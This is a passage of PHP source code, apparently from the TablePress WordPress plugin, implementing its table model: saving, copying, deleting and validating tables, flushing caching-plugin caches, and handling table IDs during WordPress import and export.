1.13.0, and on WP 5.6, only `rel="noopener"` is added. See https://core.trac.wordpress.org/ticket/49558. * * @since 1.10.0 * * @param array<string, mixed> $table Table. * @return array<string, mixed> Filtered/modified table. */ public function filter_content( array $table ): array { /** * Filters whether the contents of table cells and fields should be filtered/modified. * * @since 1.10.0 * * @param bool $filter Whether to filter the content of table cells and other fields. Default true. */ if ( ! apply_filters( 'tablepress_filter_table_cell_content', true ) ) { return $table; } // Filter the table name and description. $fields = array( 'name', 'description' ); foreach ( $fields as $field ) { $table[ $field ] = wp_targeted_link_rel( $table[ $field ] ); } foreach ( $table['data'] as $row_idx => $row ) { foreach ( $row as $column_idx => $cell_content ) { $table['data'][ $row_idx ][ $column_idx ] = wp_targeted_link_rel( $cell_content ); } } return $table; } /** * Save a table. * * @since 1.0.0 * * @param array<string, mixed> $table Table (needs to have $table['id']!). * @return string|WP_Error WP_Error on error, string table ID on success. */ public function save( array $table ) /* : string|WP_Error */ { if ( empty( $table['id'] ) ) { return new WP_Error( 'table_save_empty_table_id' ); } $post_id = $this->_get_post_id( $table['id'] ); if ( false === $post_id ) { return new WP_Error( 'table_save_no_post_id_for_table_id', '', $table['id'] ); } $post = $this->_table_to_post( $table, $post_id ); $new_post_id = $this->model_post->update( $post ); if ( is_wp_error( $new_post_id ) ) { $error = new WP_Error( 'table_save_post_update', '', $post_id ); $error->merge_from( $new_post_id ); return $error; } if ( $post_id !== $new_post_id ) { return new WP_Error( 'table_save_new_post_id_does_not_match', '', $new_post_id ); } $options_saved = $this->_update_table_options( $new_post_id, $table['options'] ); if ( ! $options_saved ) { return new WP_Error( 'table_save_update_table_options_failed', '', $new_post_id ); } $visibility_saved = $this->_update_table_visibility( $new_post_id, $table['visibility'] ); if ( ! $visibility_saved ) { return new WP_Error( 'table_save_update_table_visibility_failed', '', $new_post_id ); } // At this point, post was successfully added. // Invalidate table output caches that belong to this table. $this->invalidate_table_output_cache( $table['id'] ); // Flush caching plugins' caches. $this->_flush_caching_plugins_caches(); /** * Fires after a table has been saved. * * @since 1.5.0 * * @param string $table_id ID of the added table. */ do_action( 'tablepress_event_saved_table', $table['id'] ); return $table['id']; } /** * Add a new table. * * @since 1.0.0 * * @param array<string, mixed> $table Table ($table['id'] is not necessary). * @param string $copy_or_add Optional. 'copy' if the table is copied, 'add' if it is a new table. Default 'add'. * @return string|WP_Error WP_Error on error, string table ID of the new table on success. */ public function add( array $table, string $copy_or_add = 'add' ) /* : string|WP_Error */ { $post_id = -1; // To insert table. $post = $this->_table_to_post( $table, $post_id ); $new_post_id = $this->model_post->insert( $post ); if ( is_wp_error( $new_post_id ) ) { $error = new WP_Error( 'table_add_post_insert', '' ); $error->merge_from( $new_post_id ); return $error; } $options_saved = $this->_add_table_options( $new_post_id, $table['options'] ); if ( ! $options_saved ) { return new WP_Error( 'table_add_update_table_options_failed', '', $new_post_id ); } $visibility_saved = $this->_add_table_visibility( $new_post_id, $table['visibility'] ); if ( ! $visibility_saved ) { return new WP_Error( 'table_add_update_table_visibility_failed', '', $new_post_id ); } // At this point, post was successfully added, now get an unused table ID. $table_id = $this->_get_new_table_id(); $this->_update_post_id( $table_id, $new_post_id ); if ( 'add' === $copy_or_add ) { /** * Fires after a new table has been added. * * @since 1.1.0 * * @param string $table_id ID of the added table. */ do_action( 'tablepress_event_added_table', $table_id ); } return $table_id; } /** * Create a copy of a table and add it. * * @since 1.0.0 * * @param string $table_id ID of the table to be copied. * @return string|WP_Error WP_Error on error, string table ID of the new table on success. */ public function copy( string $table_id ) /* : string|WP_Error */ { $table = $this->load( $table_id, true, true ); if ( is_wp_error( $table ) ) { $error = new WP_Error( 'table_copy_table_load', '', $table_id ); $error->merge_from( $table ); return $error; } // Adjust name of copied table. if ( '' === trim( $table['name'] ) ) { $table['name'] = __( '(no name)', 'tablepress' ); } $table['name'] = sprintf( __( 'Copy of %s', 'tablepress' ), $table['name'] ); // Merge this data into an empty table template. $table = $this->prepare_table( $this->get_table_template(), $table, false ); if ( is_wp_error( $table ) ) { $error = new WP_Error( 'table_copy_table_prepare', '', $table_id ); $error->merge_from( $table ); return $error; } // Add the copied table. $new_table_id = $this->add( $table, 'copy' ); if ( is_wp_error( $new_table_id ) ) { $error = new WP_Error( 'table_copy_table_add', '', $table_id ); $error->merge_from( $new_table_id ); return $error; } /** * Fires after an existing table has been copied. * * @since 1.1.0 * * @param string $new_table_id ID of the copy of the table. * @param string $table_id ID of the existing table that is copied. */ do_action( 'tablepress_event_copied_table', $new_table_id, $table_id ); return $new_table_id; } /** * Delete a table (and its options). * * @since 1.0.0 * * @param string $table_id ID of the table to be deleted. * @return bool|WP_Error WP_Error on error, true on success. */ public function delete( string $table_id ) /* : true|WP_Error */ { if ( ! $this->table_exists( $table_id ) ) { return new WP_Error( 'table_delete_table_does_not_exist', '', $table_id ); } $post_id = $this->_get_post_id( $table_id ); // No ! false check necessary, as this is covered by table_exists() check above. $deleted = $this->model_post->delete( $post_id ); // Post Meta fields will be deleted automatically by that function. // @phpstan-ignore-line . if ( false === $deleted ) { return new WP_Error( 'table_delete_post_could_not_be_deleted', '', $post_id ); } // If post was deleted successfully, remove the table ID from the list of tables. $this->_remove_post_id( $table_id ); // Invalidate table output caches that belong to this table. $this->invalidate_table_output_cache( $table_id ); // Flush caching plugins' caches. $this->_flush_caching_plugins_caches(); /** * Fires after a table has been deleted. * * @since 1.1.0 * * @param string $table_id ID of the deleted table. */ do_action( 'tablepress_event_deleted_table', $table_id ); return true; } /** * Delete all tables. * * @since 1.0.0 */ public function delete_all(): void { $tables = $this->tables->get(); if ( empty( $tables['table_post'] ) ) { return; } foreach ( $tables['table_post'] as $table_id => $post_id ) { $table_id = (string) $table_id; // Ensure that the table ID is a string, as it comes from an array key where numeric strings are converted to integers. $this->model_post->delete( $post_id ); // Post Meta fields will be deleted automatically by that function. unset( $tables['table_post'][ $table_id ] ); // Invalidate table output caches that belong to this table. $this->invalidate_table_output_cache( $table_id ); } $this->tables->update( $tables ); // Flush caching plugins' caches. $this->_flush_caching_plugins_caches(); /** * Fires after all tables have been deleted. * * @since 1.1.0 */ do_action( 'tablepress_event_deleted_all_tables' ); } /** * Check if a table ID exists in the list of tables (this does not guarantee that the post with the table data exists!). * * @since 1.0.0 * * @param string $table_id Table ID. * @return bool Whether the table ID exists. */ public function table_exists( string $table_id ): bool { $table_post = $this->tables->get( 'table_post' ); return isset( $table_post[ $table_id ] ); } /** * Count the number of tables from either just the list, or by also counting the posts in the database. * * @since 1.0.0 * * @param bool $single_value Optional. Whether to return just the number of tables from the list, or also count in the database. * @return int|array{list: int, db: int} Number of Tables (if $single_value), or array of Numbers from list/DB (if ! $single_value). */ public function count_tables( bool $single_value = true ) /* : int|array */ { $count_list = count( $this->tables->get( 'table_post' ) ); if ( $single_value ) { return $count_list; } $count_db = $this->model_post->count_posts(); return array( 'list' => $count_list, 'db' => $count_db, ); } /** * Delete all transients used for output caching of a table (e.g. when the table is updated or deleted). * * @since 1.0.0 * @since 1.8.0 Renamed from _invalidate_table_output_cache to invalidate_table_output_cache and made public. * * @param string $table_id Table ID. */ public function invalidate_table_output_cache( string $table_id ): void { $caches_list_transient_name = 'tablepress_c_' . md5( $table_id ); $caches_list = get_transient( $caches_list_transient_name ); if ( false !== $caches_list ) { $caches_list = (array) json_decode( $caches_list, true ); foreach ( $caches_list as $cache_transient_name ) { delete_transient( $cache_transient_name ); } } delete_transient( $caches_list_transient_name ); } /** * Flush the caches of common caching plugins. * * @since 1.0.0 */ public function _flush_caching_plugins_caches(): void { /** * Filters whether the caches of common caching plugins shall be flushed. * * @since 1.0.0 * * @param bool $flush Whether caches of caching plugins shall be flushed. Default true. */ if ( ! apply_filters( 'tablepress_flush_caching_plugins_caches', true ) ) { return; } // Common cache flush callback. $cache_flush_callbacks = array( array( 'Breeze_PurgeCache', 'breeze_cache_flush' ), // Breeze. array( 'comet_cache', 'clear' ), // Comet Cache. 'pantheon_wp_clear_edge_all', // Pantheon. 'sg_cachepress_purge_cache', // SG Optimizer. array( 'Swift_Performance_Cache', 'clear_all_cache' ), // Swift Performance. 'w3tc_pgcache_flush', // W3 Total Cache. array( 'WpeCommon', 'purge_memcached' ), // WP Engine. array( 'WpeCommon', 'clear_maxcdn_cache' ), // WP Engine. array( 'WpeCommon', 'purge_varnish_cache' ), // WP Engine. 'wpfc_clear_all_cache', // WP Fastest Cache. 'rocket_clean_domain', // WP Rocket. 'wp_cache_clear_cache', // WP Super Cache. array( 'zencache', 'clear' ), // Zen Cache. ); foreach ( $cache_flush_callbacks as $cache_flush_callback ) { if ( is_callable( $cache_flush_callback ) ) { call_user_func( $cache_flush_callback ); } } // Common cache flush hooks. $cache_flush_hooks = array( 'ce_clear_cache', // Cache Enabler. 'cachify_flush_cache', // Cachify. 'autoptimize_action_cachepurged', // Hyper Cache. ); foreach ( $cache_flush_hooks as $cache_flush_hook ) { do_action( $cache_flush_hook ); } // Kinsta. if ( isset( $GLOBALS['kinsta_cache'] ) && ! empty( $GLOBALS['kinsta_cache']->kinsta_cache_purge ) && is_callable( array( $GLOBALS['kinsta_cache']->kinsta_cache_purge, 'purge_complete_caches' ) ) ) { $GLOBALS['kinsta_cache']->kinsta_cache_purge->purge_complete_caches(); // @phpstan-ignore-line } // LiteSpeed Cache. if ( is_callable( array( 'LiteSpeed_Cache_Tags', 'add_purge_tag' ) ) ) { LiteSpeed_Cache_Tags::add_purge_tag( '*' ); // @phpstan-ignore-line } // Pagely. if ( class_exists( 'PagelyCachePurge' ) ) { $_pagely = new PagelyCachePurge(); if ( is_callable( array( $_pagely, 'purgeAll' ) ) ) { $_pagely->purgeAll(); } } // Pressidum. if ( is_callable( array( 'Ninukis_Plugin', 'get_instance' ) ) ) { $_pressidum = Ninukis_Plugin::get_instance(); // @phpstan-ignore-line if ( is_callable( array( $_pressidum, 'purgeAllCaches' ) ) ) { $_pressidum->purgeAllCaches(); // @phpstan-ignore-line } } // Savvii. if ( defined( '\Savvii\CacheFlusherPlugin::NAME_DOMAINFLUSH_NOW' ) ) { $_savvii = new \Savvii\CacheFlusherPlugin(); // @phpstan-ignore-line if ( is_callable( array( $_savvii, 'domainflush' ) ) ) { $_savvii->domainflush(); // @phpstan-ignore-line } } // WP Fastest Cache. if ( isset( $GLOBALS['wp_fastest_cache'] ) && is_callable( array( $GLOBALS['wp_fastest_cache'], 'deleteCache' ) ) ) { $GLOBALS['wp_fastest_cache']->deleteCache( true ); // @phpstan-ignore-line } // WP-Optimize. if ( function_exists( 'WP_Optimize' ) ) { WP_Optimize()->get_page_cache()->purge(); } } /** * Get the post ID of a given table ID (if the table ID exists). * * @since 1.0.0 * * @param string $table_id Table ID. * @return int|false Post ID on success, false on error. */ protected function _get_post_id( string $table_id ) /* : int|false */ { $table_post = $this->tables->get( 'table_post' ); if ( ! isset( $table_post[ $table_id ] ) ) { return false; } return $table_post[ $table_id ]; } /** * Update/Add a post ID for a given table ID, and sort the list of tables by their key in natural sort order. * * @since 1.0.0 * * @param string $table_id Table ID. * @param int $post_id Post ID. */ protected function _update_post_id( string $table_id, int $post_id ): void { $tables = $this->tables->get(); $tables['table_post'][ $table_id ] = $post_id; uksort( $tables['table_post'], 'strnatcasecmp' ); $this->tables->update( $tables ); } /** * Remove a table ID/post ID connection from the list of tables. * * @since 1.0.0 * * @param string $table_id Table ID. */ protected function _remove_post_id( string $table_id ): void { $tables = $this->tables->get(); unset( $tables['table_post'][ $table_id ] ); $this->tables->update( $tables ); } /** * Change the table ID of a table. * * @since 1.0.0 * * @param string $old_id Old table ID. * @param string $new_id New table ID. * @return bool|WP_Error True on success, WP_Error on error. */ public function change_table_id( string $old_id, string $new_id ) /* : true|WP_Error */ { $post_id = $this->_get_post_id( $old_id ); if ( false === $post_id ) { return new WP_Error( 'table_change_id_no_post_id_for_table_id', '', $old_id ); } // Check new ID for correct format (string from letters, numbers, -, and _ only, except the '0' string). if ( empty( $new_id ) || 0 !== preg_match( '/[^a-zA-Z0-9_-]/', $new_id ) ) { return new WP_Error( 'table_change_id_new_id_is_invalid', '', $new_id ); } if ( $this->table_exists( $new_id ) ) { return new WP_Error( 'table_change_table_new_id_exists', '', $new_id ); } $this->_update_post_id( $new_id, $post_id ); $this->_remove_post_id( $old_id ); /** * Fires after the ID of a table has been changed. * * @since 1.1.0 * * @param string $new_id New ID of the table. * @param string $old_id Old ID of the table. */ do_action( 'tablepress_event_changed_table_id', $new_id, $old_id ); return true; } /** * Get an unused table ID (e.g. for a new table). * * @since 1.0.0 * * @return string Unused table ID (e.g. for a new table). */ protected function _get_new_table_id(): string { $tables = $this->tables->get(); // Need to check new ID candidate in a loop, because a higher ID might already be in use, if a table ID was changed manually. do { ++$tables['last_id']; $last_id_string = (string) $tables['last_id']; } while ( $this->table_exists( $last_id_string ) ); $this->tables->update( $tables ); return $last_id_string; } /** * Get the template for an empty table. * * Important: This scheme is versioned via TablePress::table_scheme_version; changes likely need a version update! * * @since 1.0.0 * * @return array<string, mixed> Empty table. */ public function get_table_template(): array { // Attention: Array keys have to be lowercase, to make it possible to match them with Shortcode attributes! $table = array( 'id' => false, 'name' => '', 'description' => '', 'data' => array( array( '' ) ), // One empty cell. 'last_modified' => wp_date( 'Y-m-d H:i:s' ), 'author' => get_current_user_id(), 'options' => array( 'last_editor' => get_current_user_id(), 'table_head' => true, 'table_foot' => false, 'alternating_row_colors' => true, 'row_hover' => true, 'print_name' => false, 'print_name_position' => 'above', 'print_description' => false, 'print_description_position' => 'below', 'extra_css_classes' => '', // DataTables JavaScript library. 'use_datatables' => true, 'datatables_sort' => true, 'datatables_filter' => true, 'datatables_paginate' => true, 'datatables_lengthchange' => true, 'datatables_paginate_entries' => 10, 'datatables_info' => true, 'datatables_scrollx' => false, 'datatables_custom_commands' => '', ), 'visibility' => array( 'rows' => array( 1 ), // One visbile row. 'columns' => array( 1 ), // One visible column. ), ); /** * Filters the default template/structure of an empty table. * * @since 1.0.0 * * @param array<string, mixed> $table Default template/structure of an empty table. */ return apply_filters( 'tablepress_table_template', $table ); } /** * Combine two tables (e.g. an existing one with the updated data, or an empty one with new data). * * Performs consistency checks on data and visibility settings. * * @since 1.0.0 * * @param array<string, mixed> $table Table to merge into. * @param array<string, mixed> $new_table Table to merge. * @param bool $table_size_check Optional. Whether to check the number of rows and columns (e.g. not necessary for added or copied tables). * @return array<string, mixed>|WP_Error Merged table on success, WP_Error on error. */ public function prepare_table( array $table, array $new_table, bool $table_size_check = true ) /* : array|WP_Error */ { // Table ID must be the same (if there was an ID already). if ( false !== $table['id'] && $table['id'] !== $new_table['id'] ) { return new WP_Error( 'table_prepare_no_id_match', '', $new_table['id'] ); } // Name, description, and data array need to exist, data must not be empty, the others could be ''. if ( ! isset( $new_table['name'], $new_table['description'] ) || empty( $new_table['data'] ) || empty( $new_table['data'][0] ) ) { return new WP_Error( 'table_prepare_name_description_or_data_not_set' ); } // Visibility needs to exist. if ( ! isset( $new_table['visibility']['rows'], $new_table['visibility']['columns'] ) ) { return new WP_Error( 'table_prepare_visibility_not_set' ); } $new_table['visibility']['rows'] = array_map( 'intval', $new_table['visibility']['rows'] ); $new_table['visibility']['columns'] = array_map( 'intval', $new_table['visibility']['columns'] ); // Check dimensions of table data array (not done for newly added, copied, or imported tables). if ( $table_size_check ) { if ( ! isset( $new_table['number']['rows'], $new_table['number']['columns'] ) ) { return new WP_Error( 'table_prepare_size_check_numbers_not_set' ); } // Table data needs to be ok, and have the correct number of rows and columns. $new_table['number']['rows'] = (int) $new_table['number']['rows']; $new_table['number']['columns'] = (int) $new_table['number']['columns']; if ( 0 === $new_table['number']['rows'] || 0 === $new_table['number']['columns'] || count( $new_table['data'] ) !== $new_table['number']['rows'] || count( $new_table['data'][0] ) !== $new_table['number']['columns'] ) { return new WP_Error( 'table_prepare_size_check_numbers_dont_match' ); } // Visibility also needs to have correct dimensions. if ( count( $new_table['visibility']['rows'] ) !== $new_table['number']['rows'] || count( $new_table['visibility']['columns'] ) !== $new_table['number']['columns'] ) { return new WP_Error( 'table_prepare_size_check_visibility_doesnt_match' ); } } // All checks were successful, replace original values with new ones. // $table['id'] is either false (and remains false) or already equal to $new_table['id']. $table['new_id'] = $new_table['new_id'] ?? $table['id']; $table['name'] = $new_table['name']; $table['description'] = $new_table['description']; $table['data'] = $new_table['data']; // Make sure that cells are stored as strings. array_walk_recursive( $table['data'], static function ( /* string|int|float|bool|null */ &$cell_content, int $col_idx ): void { $cell_content = (string) $cell_content; } ); // Table Options. if ( isset( $new_table['options'] ) ) { // Options are for example not set for newly added tables. // Specials check for certain options. if ( isset( $new_table['options']['extra_css_classes'] ) ) { $new_table['options']['extra_css_classes'] = explode( ' ', $new_table['options']['extra_css_classes'] ); $new_table['options']['extra_css_classes'] = array_map( array( 'TablePress', 'sanitize_css_class' ), $new_table['options']['extra_css_classes'] ); $new_table['options']['extra_css_classes'] = array_unique( $new_table['options']['extra_css_classes'] ); $new_table['options']['extra_css_classes'] = trim( implode( ' ', $new_table['options']['extra_css_classes'] ) ); } if ( isset( $new_table['options']['datatables_paginate_entries'] ) ) { $new_table['options']['datatables_paginate_entries'] = (int) $new_table['options']['datatables_paginate_entries']; if ( $new_table['options']['datatables_paginate_entries'] < 1 ) { $new_table['options']['datatables_paginate_entries'] = 10; // Default value. } } // Merge new options. $default_table = $this->get_table_template(); $table['options'] = array_intersect_key( $table['options'], $default_table['options'] ); $new_table['options'] = array_intersect_key( $new_table['options'], $default_table['options'] ); $table['options'] = array_merge( $table['options'], $new_table['options'] ); } // Table Visibility. $table['visibility']['rows'] = $new_table['visibility']['rows']; $table['visibility']['columns'] = $new_table['visibility']['columns']; // $table['author'] = get_current_user_id(); // We don't want this, as it would override the original author. // $table['created'] = wp_date( 'Y-m-d H:i:s' ); // We don't want this, as it would override the original datetime. $table['last_modified'] = wp_date( 'Y-m-d H:i:s' ); $table['options']['last_editor'] = get_current_user_id(); return $table; } /** * Save the table options of a table (in a post meta field of the table's post). * * @since 1.0.0 * * @param int $post_id Post ID. * @param array<string, mixed> $options Table options. * @return bool True on success, false on error. */ protected function _add_table_options( int $post_id, array $options ): bool { $options = wp_json_encode( $options, TABLEPRESS_JSON_OPTIONS ); return $this->model_post->add_meta_field( $post_id, $this->table_options_field_name, $options ); // @phpstan-ignore-line } /** * Update the table options of a table (in a post meta field in the table's post). * * @since 1.0.0 * * @param int $post_id Post ID. * @param array<string, mixed> $options Table options. * @return bool True on success, false on error. */ protected function _update_table_options( int $post_id, array $options ): bool { $options = wp_json_encode( $options, TABLEPRESS_JSON_OPTIONS ); return $this->model_post->update_meta_field( $post_id, $this->table_options_field_name, $options ); // @phpstan-ignore-line } /** * Get the table options of a table (from a post meta field of the table's post). * * @since 1.0.0 * * @param int $post_id Post ID. * @return array<string, mixed> Table options on success, empty array on error. */ protected function _get_table_options( int $post_id ): array { $options = $this->model_post->get_meta_field( $post_id, $this->table_options_field_name ); if ( empty( $options ) ) { return array(); } return (array) json_decode( $options, true ); } /** * Save the table visibility of a table (in a post meta field of the table's post). * * @since 1.0.0 * * @param int $post_id Post ID. * @param array{rows: int[], columns: int[]} $visibility Table visibility. * @return bool True on success, false on error. */ protected function _add_table_visibility( int $post_id, array $visibility ): bool { $visibility = wp_json_encode( $visibility, TABLEPRESS_JSON_OPTIONS ); return $this->model_post->add_meta_field( $post_id, $this->table_visibility_field_name, $visibility ); // @phpstan-ignore-line } /** * Update the table visibility of a table (in a post meta field in the table's post). * * @since 1.0.0 * * @param int $post_id Post ID. * @param array{rows: int[], columns: int[]} $visibility Table visibility. * @return bool True on success, false on error. */ protected function _update_table_visibility( int $post_id, array $visibility ): bool { $visibility = wp_json_encode( $visibility, TABLEPRESS_JSON_OPTIONS ); return $this->model_post->update_meta_field( $post_id, $this->table_visibility_field_name, $visibility ); // @phpstan-ignore-line } /** * Get the table visibility of a table (from a post meta field of the table's post). * * @since 1.0.0 * * @param int $post_id Post ID. * @return array{rows: int[], columns: int[]} Table visibility on success, empty array on error. */ protected function _get_table_visibility( int $post_id ): array { $visibility = $this->model_post->get_meta_field( $post_id, $this->table_visibility_field_name ); if ( empty( $visibility ) ) { return array( 'rows' => array(), 'columns' => array(), ); } return json_decode( $visibility, true ); } /** * Merge existing Table Options with default Table Options, * remove (no longer) existing options, after a table scheme change, * for all tables. * * @since 1.0.0 * @since 2.0.0 Add optional $remove_old_options parameter. * * @param bool $remove_old_options Optional. Whether old table options should be removed from the database. Default true. */ public function merge_table_options_defaults( bool $remove_old_options = true ): void { $table_post = $this->tables->get( 'table_post' ); if ( empty( $table_post ) ) { return; } // Prime the meta cache with the table options of all tables. update_meta_cache( 'post', array_values( $table_post ) ); // Get default Table with default Table Options. $default_table = $this->get_table_template(); // Go through all tables (this loop now uses the WP cache). foreach ( $table_post as $post_id ) { $table_options = $this->_get_table_options( $post_id ); if ( $remove_old_options ) { // Remove old (i.e. no longer existing) Table Options. $table_options = array_intersect_key( $table_options, $default_table['options'] ); } // Merge current into new Table Options. $table_options = array_merge( $default_table['options'], $table_options ); $this->_update_table_options( $post_id, $table_options ); } } /** * Invalidate all table output caches, e.g. after a plugin update. * * @since 1.0.0 */ public function invalidate_table_output_caches(): void { $table_post = $this->tables->get( 'table_post' ); if ( empty( $table_post ) ) { return; } foreach ( $table_post as $table_id => $post_id ) { $table_id = (string) $table_id; // Ensure that the table ID is a string, as it comes from an array key where numeric strings are converted to integers. $this->invalidate_table_output_cache( $table_id ); } } /** * Add mime type field to existing posts with the TablePress Custom Post Type, * so that other plugins know that they are not dealing with plain text. * * @since 1.5.0 * * @global wpdb $wpdb WordPress database abstraction object. */ public function add_mime_type_to_posts(): void { global $wpdb; $wpdb->update( $wpdb->posts, array( 'post_mime_type' => 'application/json' ), array( 'post_type' => $this->model_post->get_post_type() ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching } /** * Add a table ID for a post (table) that was imported through the WP WXR importer to the table ID to post ID map. * * @since 1.5.0 * * @param int|WP_Error $post_id Post ID of the imported post on success. 0 or WP_Error on failure. * @param int $original_post_id Original post ID that the post had on the site where it was exported from. * @param array<string, mixed> $postdata Post data that was imported into the database. * @param array<string, mixed> $post Original post data as it was exported. */ public function add_table_id_on_wp_import( /* int|WP_Error */ $post_id, int $original_post_id, array $postdata, array $post ): void { // Bail if the post could not be imported or if the post is not a TablePress table. if ( is_wp_error( $post_id ) || $this->model_post->get_post_type() !== $postdata['post_type'] ) { return; } // Extract the table IDs from the `_tablepress_export_table_id` post meta field. $table_ids = array(); if ( isset( $post['postmeta'] ) && is_array( $post['postmeta'] ) ) { foreach ( $post['postmeta'] as $postmeta ) { if ( '_tablepress_export_table_id' === $postmeta['key'] ) { $table_ids = $postmeta['value']; $table_ids = explode( ',', $table_ids ); break; } } } // Save the post ID for each of the table IDs. $post_id_saved = false; foreach ( $table_ids as $table_id ) { $table_id = (string) preg_replace( '/[^a-zA-Z0-9_-]/', '', $table_id ); if ( '' === $table_id || $this->table_exists( $table_id ) ) { continue; } $this->_update_post_id( $table_id, $post_id ); $post_id_saved = true; } // Save the post ID for a new table ID if it could not be saved for any of the imported table IDs. if ( ! $post_id_saved ) { $table_id = $this->_get_new_table_id(); $this->_update_post_id( $table_id, $post_id ); } } /** * Remove the `_tablepress_export_table_id` post meta field from the fields that are imported during a WP WXR import. * * @since 1.5.0 * * @param array<string, mixed> $postmeta Post meta fields for the post. * @param int $post_id Post ID. * @param array<string, mixed> $post Post. * @return array<string, mixed> Modified post meta fields. */ public function prevent_table_id_post_meta_import_on_wp_import( array $postmeta, int $post_id, array $post ): array { // Bail if the post is not a TablePress table. if ( $this->model_post->get_post_type() !== $post['post_type'] ) { return $postmeta; } // Remove the `_tablepress_export_table_id` post meta field from the post meta fields. foreach ( $postmeta as $index => $meta ) { if ( '_tablepress_export_table_id' === $meta['key'] ) { unset( $postmeta[ $index ] ); } } return $postmeta; } /** * Add the table IDs for an exported post (table) to the WP WXR export file. * * The table IDs for a table are exported in a faked post meta field. * As there's no action for adding extra data to the WXR export file, we hijack the `wxr_export_skip_postmeta` filter hook. * * @since 1.5.0 * * @param bool $skip Whether to skip the current post meta. Default false. * @param string $meta_key Current meta key. * @param stdClass $meta Current meta object. * @return bool Whether to skip the current post meta (unchanged $skip parameter). */ public function add_table_id_to_wp_export( bool $skip, string $meta_key, stdClass $meta ): bool { // Bail if the exporter doesn't process a TablePress table right now. if ( $this->table_options_field_name !== $meta_key ) { return $skip; } // Find all table IDs that map to the post ID of the table that is currently being exported. $table_post = $this->tables->get( 'table_post' ); $table_ids = array_keys( $table_post, (int) $meta->post_id, true ); // Bail if no table IDs are mapped to this post ID. if ( empty( $table_ids ) ) { return $skip; } // Pretend that there is a `_tablepress_export_table_id` post meta field with the list of table IDs. $key = '_tablepress_export_table_id'; $value = wxr_cdata( implode( ',', $table_ids ) ); // @phpstan-ignore-line // Hijack the filter and print extra XML code for our faked post meta field. // phpcs:disable WordPress.Security.EscapeOutput.HeredocOutputNotEscaped echo <<<WXR <wp:postmeta> <wp:meta_key>{$key}</wp:meta_key> <wp:meta_value>{$value}</wp:meta_value> </wp:postmeta>\n WXR; // phpcs:enable return $skip; } /** * Delete the WP_Option of the model. * * @since 1.0.0 */ public function destroy(): void { $this->tables->delete(); } } // class TablePress_Table_Model